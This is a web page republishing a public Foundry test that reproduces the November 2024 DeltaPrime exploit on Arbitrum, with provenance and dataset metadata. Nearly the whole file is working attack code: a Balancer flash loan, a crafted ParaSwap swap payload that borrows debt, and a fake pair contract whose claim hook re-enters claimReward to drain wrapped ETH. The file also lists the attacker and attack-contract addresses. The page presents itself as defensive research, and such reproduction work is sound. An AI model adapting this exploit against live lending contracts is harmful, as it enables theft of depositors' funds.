Public reproduction file
src/test/2024-11/DeltaPrime_exp.sol
Public reproduction file for dataset entry DeltaPrime.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : $4.75M8// Attacker : https://arbiscan.io/address/0xb87881637b5c8e6885c51ab7d895e53fa7d7c5679// Attack Contract : https://arbiscan.io/address/0x0b2bcf06f740c322bc7276b6b90de08812ce9bfe10// Vulnerable Contract : https://arbiscan.io/address/0x62cf82fb0484af382714cd09296260edc1dc0c6c11// Attack Tx : https://arbiscan.io/tx/0x6a2f989b5493b52ffc078d0a59a3bf9727d134b403aa6e0bf309fd513a728f7f13interface ISmartLoansFactoryTUP {14 function createLoan() external returns (address);15}17interface ISmartLoan {18 function swapDebtParaSwap(19 bytes32 _fromAsset,20 bytes32 _toAsset,21 uint256 _repayAmount,22 uint256 _borrowAmount,23 bytes4 selector,24 bytes memory data25 ) external;27 function claimReward(address pair, uint256[] calldata ids) external;29 function wrapNativeToken(30 uint256 amount31 ) external;33 function isSolvent() external returns (bool);34}36interface ISimpleSwap {37 struct SimpleData {38 address fromToken;39 address toToken;40 uint256 fromAmount;41 uint256 toAmount;42 uint256 expectedAmount;43 address[] callees;44 bytes exchangeData;45 uint256[] startIndexes;46 uint256[] values;47 address beneficiary;48 address partner;49 uint256 feePercent;50 bytes permit;51 uint256 deadline;52 bytes16 uuid;53 }55 function simpleSwap(56 SimpleData memory swapData57 ) external;58}60contract DeltaPrimeExp is Test {61 IWETH WETH = IWETH(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1));62 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);63 ISmartLoansFactoryTUP SmartLoansFactoryTUP = ISmartLoansFactoryTUP(0xFf5e3dDaefF411a1dC6CcE00014e4Bca39265c20);64 ISmartLoan SmartLoan;65 FakePairContract fakePairContract;66 uint256 flashLoanAmount;68 address ETHER = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;69 bytes32 _fromAsset = 0x5553444300000000000000000000000000000000000000000000000000000000;70 bytes32 _toAsset = 0x4554480000000000000000000000000000000000000000000000000000000000;71 uint256 _repayAmount = 0;72 uint256 _borrowAmount = 66_619_545_304_650_988_218;73 bytes4 selector = ISimpleSwap.simpleSwap.selector;75 function setUp() external {76 vm.deal(address(this), 0 ether);77 vm.createSelectFork("arbitrum", 273_278_741);78 vm.label(address(WETH), "WETH");79 vm.label(address(Balancer), "Balancer");80 vm.label(address(SmartLoansFactoryTUP), "SmartLoansFactoryTUP");81 }83 function testExploit() external {84 emit log_named_decimal_uint(85 "Attacker WETH balance before exploit", WETH.balanceOf(address(this)), WETH.decimals()86 );88 SmartLoan = ISmartLoan(SmartLoansFactoryTUP.createLoan()); // create an attacker position contract89 vm.label(address(SmartLoan), "SmartLoan");90 fakePairContract = new FakePairContract(); // create a fakePair contract91 vm.label(address(fakePairContract), "fakePairContract");93 address[] memory tokens = new address[](1);94 tokens[0] = address(WETH);95 uint256[] memory amounts = new uint256[](1);96 amounts[0] = WETH.balanceOf(address(Balancer));97 flashLoanAmount = amounts[0];98 bytes memory userData = "";99 Balancer.flashLoan(address(this), tokens, amounts, userData);101 emit log_named_decimal_uint(102 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()103 );104 }106 function convertETH() external {107 string memory priceDataPath = "./src/test/2024-11/DelatPrimePriceData.txt";108 bytes memory priceData = vm.parseBytes(vm.readFile(priceDataPath));109 bytes memory wrapNativeTokenData =110 abi.encodePacked(abi.encodeCall(ISmartLoan.wrapNativeToken, (address(SmartLoan).balance)), priceData);112 address(SmartLoan).call(wrapNativeTokenData); // convert collateral eth to weth, claim weth as reward asset113 // SmartLoan.wrapNativeToken(address(SmartLoan).balance);114 }116 function receiveFlashLoan(117 address[] memory tokens,118 uint256[] memory amounts,119 uint256[] memory feeAmounts,120 bytes memory userData121 ) external {122 WETH.withdraw(WETH.balanceOf(address(this))); // withdraw weth to eth124 address(SmartLoan).call{value: address(this).balance}(""); // transfer eth to SmartLoan as collateral126 bytes memory data = castCallData();127 string memory priceDataPath = "./src/test/2024-11/DelatPrimePriceData.txt";128 bytes memory priceData = vm.parseBytes(vm.readFile(priceDataPath));129 bytes memory swapDebtParaSwapData = abi.encodePacked(130 abi.encodeCall(131 ISmartLoan.swapDebtParaSwap, (_fromAsset, _toAsset, _repayAmount, _borrowAmount, selector, data)132 ),133 priceData134 );136 address(SmartLoan).call(swapDebtParaSwapData); // SmartLoan borrow eth,137 // SmartLoan.swapDebtParaSwap(_fromAsset, _toAsset, _repayAmount, _borrowAmount, selector, data)139 uint256[] memory ids = new uint256[](1);140 ids[0] = 0;141 bytes memory claimRewardData =142 abi.encodePacked(abi.encodeCall(ISmartLoan.claimReward, (address(fakePairContract), ids)), priceData);144 address(SmartLoan).call(claimRewardData); // trigger reenter attack, convert collateral and debt eth to weth and claim as reward145 // SmartLoan.claimReward(address(fakePairContract), ids);147 WETH.transfer(address(Balancer), flashLoanAmount);148 }150 receive() external payable {}152 function castCallData() internal returns (bytes memory) {153 address[] memory callee = new address[](1);154 callee[0] = address(WETH);155 bytes memory exchangeDatas = abi.encodeWithSignature("withdraw(uint256)", _borrowAmount);156 uint256[] memory startIndexe = new uint256[](2);157 startIndexe[0] = 0;158 startIndexe[1] = 36;159 uint256[] memory value = new uint256[](1);160 value[0] = 0;161 ISimpleSwap.SimpleData memory swapData = ISimpleSwap.SimpleData({162 fromToken: address(WETH),163 toToken: ETHER,164 fromAmount: _borrowAmount,165 toAmount: _borrowAmount,166 expectedAmount: _borrowAmount,167 callees: callee,168 exchangeData: exchangeDatas,169 startIndexes: startIndexe,170 values: value,171 beneficiary: address(0),172 partner: address(0),173 feePercent: uint256(0),174 permit: "",175 deadline: 1_000_000_000_000_000,176 uuid: 0x8c933246c370415fafa74eaed5e8acf9177 });178 bytes memory swapDatas = abi.encode(swapData);179 return swapDatas;180 }181}183contract FakePairContract {184 address attackContract;185 address WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;187 struct Parameters {188 address hooks;189 bool beforeSwap;190 bool afterSwap;191 bool beforeFlashLoan;192 bool afterFlashLoan;193 bool beforeMint;194 bool afterMint;195 bool beforeBurn;196 bool afterBurn;197 bool beforeBatchTransferFrom;198 bool afterBatchTransferFrom;199 }201 constructor() {202 attackContract = msg.sender;203 }205 bytes32 internal constant BEFORE_SWAP_FLAG = bytes32(uint256(1 << 160));206 bytes32 internal constant AFTER_SWAP_FLAG = bytes32(uint256(1 << 161));207 bytes32 internal constant BEFORE_FLASH_LOAN_FLAG = bytes32(uint256(1 << 162));208 bytes32 internal constant AFTER_FLASH_LOAN_FLAG = bytes32(uint256(1 << 163));209 bytes32 internal constant BEFORE_MINT_FLAG = bytes32(uint256(1 << 164));210 bytes32 internal constant AFTER_MINT_FLAG = bytes32(uint256(1 << 165));211 bytes32 internal constant BEFORE_BURN_FLAG = bytes32(uint256(1 << 166));212 bytes32 internal constant AFTER_BURN_FLAG = bytes32(uint256(1 << 167));213 bytes32 internal constant BEFORE_TRANSFER_FLAG = bytes32(uint256(1 << 168));214 bytes32 internal constant AFTER_TRANSFER_FLAG = bytes32(uint256(1 << 169));216 function encode(217 Parameters memory parameters218 ) internal pure returns (bytes32 hooksParameters) {219 hooksParameters = bytes32(uint256(uint160(address(parameters.hooks))));221 if (parameters.beforeSwap) hooksParameters |= BEFORE_SWAP_FLAG;222 if (parameters.afterSwap) hooksParameters |= AFTER_SWAP_FLAG;223 if (parameters.beforeFlashLoan) hooksParameters |= BEFORE_FLASH_LOAN_FLAG;224 if (parameters.afterFlashLoan) hooksParameters |= AFTER_FLASH_LOAN_FLAG;225 if (parameters.beforeMint) hooksParameters |= BEFORE_MINT_FLAG;226 if (parameters.afterMint) hooksParameters |= AFTER_MINT_FLAG;227 if (parameters.beforeBurn) hooksParameters |= BEFORE_BURN_FLAG;228 if (parameters.afterBurn) hooksParameters |= AFTER_BURN_FLAG;229 if (parameters.beforeBatchTransferFrom) hooksParameters |= BEFORE_TRANSFER_FLAG;230 if (parameters.afterBatchTransferFrom) hooksParameters |= AFTER_TRANSFER_FLAG;231 }233 function getLBHooksParameters() external returns (bytes32) {234 Parameters memory para =235 Parameters(address(this), false, false, false, false, false, false, false, false, false, false);236 return encode(para);237 }239 function claim(address user, uint256[] calldata ids) external {240 attackContract.call(abi.encodeWithSelector(DeltaPrimeExp.convertETH.selector, ""));241 }243 function getRewardToken() external returns (address) {244 return WETH;245 }247 receive() external payable {}248}Analysis
Dataset entry
Public Foundry test for “DeltaPrime” (2024-11-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-11/Ak1111_exp.solSame month in the dataset · 56 lines
- src/test/2024-11/ChiSale_exp.solSame month in the dataset · 85 lines
- src/test/2024-11/CoW_exp.solSame month in the dataset · 73 lines
- src/test/2024-11/MainnetSettler_exp.solSame month in the dataset · 93 lines
- src/test/2024-11/Matez_exp.solSame month in the dataset · 72 lines
- src/test/2024-11/MFT_exp.solSame month in the dataset · 157 lines
- src/test/2024-11/NFTG_exp.solSame month in the dataset · 68 lines
- src/test/2024-11/PolterFinance_exploit.solSame month in the dataset · 227 lines
- src/test/2024-11/proxy_b7e1_exp.solSame month in the dataset · 107 lines
- src/test/2024-11/RPP_exp.solSame month in the dataset · 100 lines
- src/test/2024-11/vETH_exp.solSame month in the dataset · 94 lines
- src/test/2024-11/VRug_exp.solSame month in the dataset · 38 lines
- src/test/2024-11/X319_exp.solSame month in the dataset · 45 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb87881637b5c8e6885c51ab7d895e53fa7d7c567
- Attack Contract
0x0b2bcf06f740c322bc7276b6b90de08812ce9bfe
- Vulnerable Contract
0x62cf82fb0484af382714cd09296260edc1dc0c6c
- Attack Tx
0x6a2f989b5493b52ffc078d0a59a3bf9727d134b403aa6e0bf309fd513a728f7f
File record
- Name
- DeltaPrime
- Path
- src/test/2024-11/DeltaPrime_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8a26e4c273df296098cdfeaaeb262bf766fd8728
- Language
- Solidity
- Size
- 249 lines
- Date
- 2024-11-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-11/DeltaPrime_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8a26e4c273df296098cdfeaaeb262bf766fd8728, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.